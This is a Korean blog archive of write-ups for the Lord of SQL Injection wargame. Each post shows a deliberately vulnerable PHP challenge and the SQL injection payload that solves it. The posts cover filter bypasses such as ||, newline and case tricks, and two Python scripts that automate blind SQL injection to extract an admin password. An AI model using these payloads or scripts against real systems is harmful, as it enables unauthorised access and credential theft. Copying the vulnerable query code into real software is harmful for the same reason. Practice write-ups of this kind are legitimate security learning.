늘모자란, 개발

늘모자란, 개발

Result for wargame:

  • 2017/06/20 [LOS] skeleton
  • 2017/06/20 [LOS] vampire
  • 2017/06/20 [LOS] troll
  • 2017/06/20 [LOS] orge
  • 2017/06/20 [LOS] darkelf
  • 2017/06/20 [LOS] wolfman
  • 2017/06/19 [LOS] orc
  • 2017/06/19 [LOS] goblin
  • 2017/06/19 [LOS] cobolt
  • 2017/06/19 [LOS] gremlin

  • <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
      $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id'] == 'admin') solve("skeleton"); 
      highlight_file(__FILE__); 
    ?>
    


    문제 난이도가 좀 요동치는거 같은데 이 쿼리는 and 1=0 때문에 무조건 false가 나온다
    그렇기 때문에 반드시 뒤 쿼리를 주석해줘야된다

    select id from prob_skeleton where id='guest' and pw='' or id='admin' -- a' and 1=0
    
    2017/06/20 02:48 2017/06/20 02:48
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~"); 
      $_GET[id] = str_replace("admin","",$_GET[id]); 
      $query = "select id from prob_vampire where id='{$_GET[id]}'"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id'] == 'admin') solve("vampire"); 
      highlight_file(__FILE__); 
    ?>
    


    이번에는 admin을 아예 바꿔버린다
    그럼 지워지는만큼 admin이 완성되게 넣어주면된다

    aadmindadminmadminiadminnadmin
    
    2017/06/20 02:42 2017/06/20 02:42
    <?php  
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
      if(@ereg("admin",$_GET[id])) exit("HeHe");
      $query = "select id from prob_troll where id='{$_GET[id]}'";
      echo "<hr>query : <strong>{$query}</strong><hr><br>";
      $result = @mysql_fetch_array(mysql_query($query));
      if($result['id'] == 'admin') solve("troll");
      highlight_file(__FILE__);
    ?>
    


    이번에는 ' 이 친구를 쓸수 없고 admin 문자열을 쓸 수 없다.
    admin은 hex로 encode해서 쓰면 될거 같은데 ' 는 좀 감이 안온다. 저걸 부셔야 쿼리를 넣을텐데!

    하고 여러가지 해보다가 안되서 찾아보니...
    좀 어이가 없지만 deprecated 된 ereg는 대문자 검사를 못한단다.
    적당히 대문자로 .... 바꿔넣어주자
    2017/06/20 02:39 2017/06/20 02:39
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
      if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
      $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
       
      $_GET[pw] = addslashes($_GET[pw]); 
      $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
      highlight_file(__FILE__); 
    ?>
    


    역시 or과 and를 쓸 수 없다

    select id from prob_orge where id='guest' and pw='' || id='admin' -- a'
    


    일단 이 쿼리가 동작하는건 확인했다
    그리고 admin을 출력하는거 보니까 blind sqli 임이 짐작된다.
    orc의 소스를 재활용해려고 했는데 and가 && 로 대체가 안된다. 좀 이상하게 나오는데 가만 생각해보니 &는 url 파라미터 구분자기때문에 좀 바꿔줘야된다. 보내기전에 quote를 해서 보내면 되니 명심...

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
      
    import requests
     
    headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
    url = "http://los.eagle-jump.org/orge_.php"
    string = "1234567890abcdefghijklmnopqrstuvwxyz"
     
    loop = 0
    pw = ''
     
    for j in range(1,30):
        data = "' || ( id='admin' && length(pw)={} ) -- a".format(j)
        data = requests.utils.quote(data)
        r = requests.get(url+'?pw='+data,headers=headers)
        if r.text.find('Hello admin') != -1 :
            loop = j
             break
    
    for i in range(1,loop+1):
        for j in string:
            data = "' || ( id='admin' && substring(pw,{},1)=0x{} ) -- a".format(i,j.encode('hex'))
            data = requests.utils.quote(data)
            r = requests.get(url+'?pw='+data,headers=headers)
     
            if r.text.find('Hello admin') != -1 :
                pw = pw + j
                print "[!] found",pw
                break
      
    print pw
    
    2017/06/20 02:35 2017/06/20 02:35
    
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect();  
      if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
      if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
      $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
      if($result['id'] == 'admin') solve("darkelf"); 
      highlight_file(__FILE__); 
    ?>
    


    점점 필터링에 제약이 오기 시작한다
    이번에는 or과 and를 쓸수 없다. 그럼 ||를 쓰면 된다

    select id from prob_darkelf where id='guest' and pw='1' || id='admin' -- a'
    
    2017/06/20 02:13 2017/06/20 02:13
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
      if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 
      $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
      if($result['id'] == 'admin') solve("wolfman"); 
      highlight_file(__FILE__); 
    ?>
    


    코드 상에는 whitespace를 쓸 수 없다는 제약이 있다
    띄워쓰기 없이... 이런 문제가 있다. 개행으로 점프가 되는.. 쓸데 없는 똑똑이

    select id from prob_wolfman where id='guest' and pw='' or id='admin'#'
    


    이런꼴을 만들어주면된다. %0a를 잘 써먹어보자
    2017/06/20 01:54 2017/06/20 01:54
    <?php
    include "./config.php"; 
     login_chk(); 
     dbconnect(); 
     if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
     $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
     echo "
    query : {$query}
    "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "

    Hello admin

    "; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; $result = @mysql_fetch_array(mysql_query($query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); highlight_file(__FILE__); ?>


    이건 쿼리가 두개다
    일단 admin을 획득하려면 참을 만들면 되는데

    select id from prob_orc where id='admin' and pw='1' or 1=1 -- a'
    


    이거만으로 안 끝난다. 왜냐면 단순히 result['id']가 있기만해도 되기때문. 즉 이 문제는 blind sql로 pw가 맞으면 admin이 출력될거고 아니면 안뜨고 뭐 그런..느낌이다
    blind sqli 시에 깔끔히 답만 알려주지 않기때문에 length로 체크를 하도록 간단히 코드를 짰다. 그리고 이 사이트는 cloudflare를 사용하고 있기때문에 cookie 가 없으면 돌아가지 않아서 이때부터 requests 모듈을 사용하기로 했다

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
     
    import requests
    
    headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=dihankitbe8chkt37mk9tt9040;'}
    url = "http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
    string = "1234567890abcdefghijklmnopqrstuvwxyz"
    
    loop = 0
    pw = ''
    
    for j in range(1,30):
     data = "?pw=' or ( id='admin' and length(pw)={} )-- a".format(j)
     r = requests.get(url+data,headers=headers)
    
     if r.text.find('Hello admin') != -1 :
     loop = j
     break
    
    for i in range(1,loop+1):
     for j in string:
     data = "?pw=' or ( id='admin' and substring(pw,{},1)=0x{} ) -- a".format(i,j.encode('hex'))
     r = requests.get(url+data,headers=headers)
    
     if r.text.find('Hello admin') != -1 :
     pw = pw + j
     print "[!] found",pw
     break
     
    print pw
    

    돌리다보면 나온다

    2017/06/19 17:01 2017/06/19 17:01

     include "./config.php"; 
     login_chk(); 
     dbconnect(); 
     if(preg_match('/prob||.|()/i', $_GET[no])) exit("No Hack ~~"); 
     if(preg_match('/\'|\"|`/i', $GET[no])) exit("No Quotes ~~"); 
     $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
     echo "


    query : {$query}


    "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "

    Hello {$result[id]}

    "; if($result['id'] == 'admin') solve("goblin"); highlight_file(FILE); ?>

    $_GET['no']안에 quotes 를 사용할 수 없다니 이제 야매는 안될 것 같다 전 문제에서 썼던 order by 꼼수로 넘어가자.

    select id from prob_goblin where id='guest' and no=1 or 1=1 order by 1 asc -- a
    

    2017/06/19 16:56 2017/06/19 16:56

     include "./config.php"; 
     login_chk();
     dbconnect();
     if(preg_match('/prob||.|()/i', $_GET[id])) exit("No Hack ~~"); 
     if(preg_match('/prob||.|()/i', $_GET[pw])) exit("No Hack ~~"); 
     $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
     echo "


    query : {$query}


    "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id'] == 'admin') solve("cobolt"); elseif($result['id']) echo "

    Hello {$result['id']} You are not admin :(

    "; highlight_file(FILE); ?>

    이거도 그냥 간단히 넘어보려고 다음과 같이 쿼리를 짰다

    select id from prob_cobolt where id='1' and pw=md5('1') or 1=1 order by 1 desc -- a')
    

    근데 리턴되는 값이 이상하다.

    Hello rubiya
    You are not admin :(
    

    컬럼에 하나만 있을 줄 알았더니 몇개가 더 있나보다. 한 두개쯤 있을 것 같으니 (아마 세개째부터는 생각을 해야될것 같지만)

    select id from prob_cobolt where id='1' and pw=md5('1') or 1=1 order by 1 asc -- a')
    

    이런식으로 현재 select 되는 row가 아닌 다른 row를 선택되게 바꿔주면 pass

    2017/06/19 16:48 2017/06/19 16:48

     include "./config.php";
     login_chk();
     dbconnect();
     if(preg_match('/prob||.|()/i', $_GET[id])) exit("No Hack ~~"); // do not try to attack another table, database!
     if(preg_match('/prob||.|()/i', $_GET[pw])) exit("No Hack ~~");
     $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
     echo "


    query : {$query}


    "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) solve("gremlin"); highlight_file(FILE); ?>

    질의 하면 위에 쿼리가 나온다. 나는 id를 true로 만들고 pw는 주석처럼 만들어버려서 뒤로 점프할 생각이었고 그냥 된다. 몸풀기..

    select id from prob_gremlin where id='' or 1=1 -- ' and pw='1'
    

    2017/06/19 16:43 2017/06/19 16:43